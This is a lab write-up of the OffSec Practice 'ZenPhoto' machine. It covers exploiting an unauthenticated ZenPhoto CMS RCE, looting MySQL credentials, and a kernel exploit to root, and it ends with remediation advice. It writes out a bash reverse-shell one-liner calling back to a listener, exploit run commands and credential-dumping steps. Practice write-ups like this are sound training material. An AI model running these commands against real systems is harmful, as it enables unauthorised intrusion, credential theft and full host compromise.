
This ZenPhoto OffSec Practice writeup walks through an unauthenticated ZenPhoto CMS remote code execution, MySQL credential looting from zp-config.php, and a Linux kernel local privilege escalation to root.
Summary
ZenPhoto is a medium-rated Linux host running an outdated ZenPhoto photo gallery CMS behind an aging Apache/Ubuntu stack. Web content discovery reveals the application under a /test/ directory, whose robots.txt leaks the zp-core/ administrative paths and fingerprints the vulnerable version. A public unauthenticated Remote Code Execution exploit grants a shell as www-data, which we upgrade to a stable interactive reverse shell.
Post-exploitation of the application’s configuration file surrenders the MySQL root credentials and, in turn, the salted administrator hash — a dead end, since the hash depends on a server-side seed. The intended privilege escalation is instead a Linux kernel local privilege escalation: the host runs a kernel old enough to be vulnerable to a public compiled exploit, which lands us a root shell.
Reconnaissance
Initial port discovery with rustscan piping into an nmap service/version scan:
rustscan -a 192.168.209.41 -- -sCV -O
| PORT | SERVICE | INFO |
|---|---|---|
| 22/tcp | OpenSSH 5.3p1 Debian 3ubuntu7 (protocol 2.0) | Ubuntu Linux; DSA + RSA host keys |
| 23/tcp | CUPS 1.4 (IPP) | http-title: 403 Forbidden; risky PUT method allowed |
| 80/tcp | Apache httpd 2.2.14 (Ubuntu) | Site has no title (text/html) |
| 3306/tcp | MySQL | Responds "unauthorized" to the scanner (not remotely authenticating) |
The OpenSSH 5.3p1 / Apache 2.2.14 combination and the aggressive OS guesses (Linux 2.6.x) point to a legacy Ubuntu release — a strong early hint that a kernel exploit may be in play for privilege escalation.
The site on port 80 shows only an "Under Construction" placeholder. Content discovery with feroxbuster uncovers a /test endpoint:
feroxbuster -u http://192.168.209.41/ -w /usr/share/wordlists/dirb/common.txt
Enumerating further reveals /test/robots.txt, which discloses a /test/zp-core path — the ZenPhoto core, including a login/password-reset form. The reset form itself is a dead end, but it confirms the application and its version.
Initial access
Searching for public exploits against ZenPhoto returns EDB-18083 — "Zenphoto <= 1.4.1.4 Remote Code Execution" by EgiX — an unauthenticated code-injection flaw reachable through the application’s AJAX handler. Running it against the discovered install path drops us straight into a pseudo-shell as the web server user:
php 18083.php 192.168.209.41 /test/
+-----------------------------------------------------------+
| Zenphoto <= 1.4.1.4 Remote Code Execution Exploit by EgiX |
+-----------------------------------------------------------+
zenphoto-shell# whoami
www-data
The exploit’s pseudo-shell is functional but fragile. We upgrade to a proper interactive reverse shell using penelope as the listener/handler:
penelope -O -p 23
And trigger the callback from the target through the ZenPhoto shell:
/bin/bash -c "bash -i >& /dev/tcp/192.168.45.231/23 0>&1" &
With a stable www-data shell, we loot the ZenPhoto configuration file, which stores the database credentials in plaintext:
cat /var/www/test/zp-data/zp-config.php
$conf['mysql_user'] = 'root';
$conf['mysql_pass'] = 'hola';
$conf['mysql_host'] = 'localhost';
$conf['mysql_database'] = 'zenphoto';
Logging into MySQL with those credentials and inspecting the administrators table:
mysql -u root -p
mysql> SELECT user, pass, rights FROM zp_administrators;
+----------------+------------------------------------------+------------+
| user | pass | rights |
+----------------+------------------------------------------+------------+
| admin | 63e5c2e178e611b692b526f8b6332317f2ff5513 | 1961343989 |
+----------------+------------------------------------------+------------+
The admin hash looks like SHA1, but it does not crack — because ZenPhoto salts it with a server-side seed. Confirming the construction and locating the seed:
grep -rn "HASH_SEED" /var/www/test/
zp-core/lib-auth.php:138: $hash = sha1($user . $pass . HASH_SEED);
zp-core/functions-basic.php:201: define('HASH_SEED', getOption('extra_auth_hash_text'));
Since HASH_SEED is extra_auth_hash_text, pulled from the DB options at runtime rather than stored in a static file, cracking the hash offline is impractical. The admin credential is a rabbit hole — we already have an interactive shell, so we pivot to local privilege escalation.
Privilege escalation
Running linpeas.sh on the host flags the kernel version as the standout vector — the box runs a Linux 2.6.x kernel old enough to be vulnerable to a well-known public local privilege escalation.
We fetch the corresponding exploit (EDB-15285, a Linux kernel local privilege escalation), compile it directly on the target, and execute it:
gcc exploit.c -o exploit
./exploit
The exploit overwrites our process credentials in kernel space and spawns a shell as root, completing the compromise.
Conclusion
ZenPhoto is a textbook "legacy stack" box: the entire chain stems from running software that is years past end-of-life. The initial foothold required no credentials at all — an unauthenticated RCE in a <= 1.4.1.4 ZenPhoto install, exposed only because a /robots.txt file helpfully advertised the zp-core/ paths. From there, a plaintext MySQL root password sitting in zp-config.php and an ancient, unpatched kernel made privilege escalation trivial.
The salted-SHA1 admin hash is a deliberate detour: it teaches that a hash is only as crackable as its salting scheme, and that recognizing a server-side seed early saves time better spent on the real path (the already-obtained shell and the kernel vector).
Remediation is almost entirely a patching and hygiene exercise: upgrade ZenPhoto off the vulnerable 1.4.x branch, keep the kernel and Apache/OpenSSH packages current, never expose administrative gallery paths publicly or leak them via robots.txt, avoid running MySQL as root for a web app, and stop storing reusable plaintext credentials in web-readable configuration files.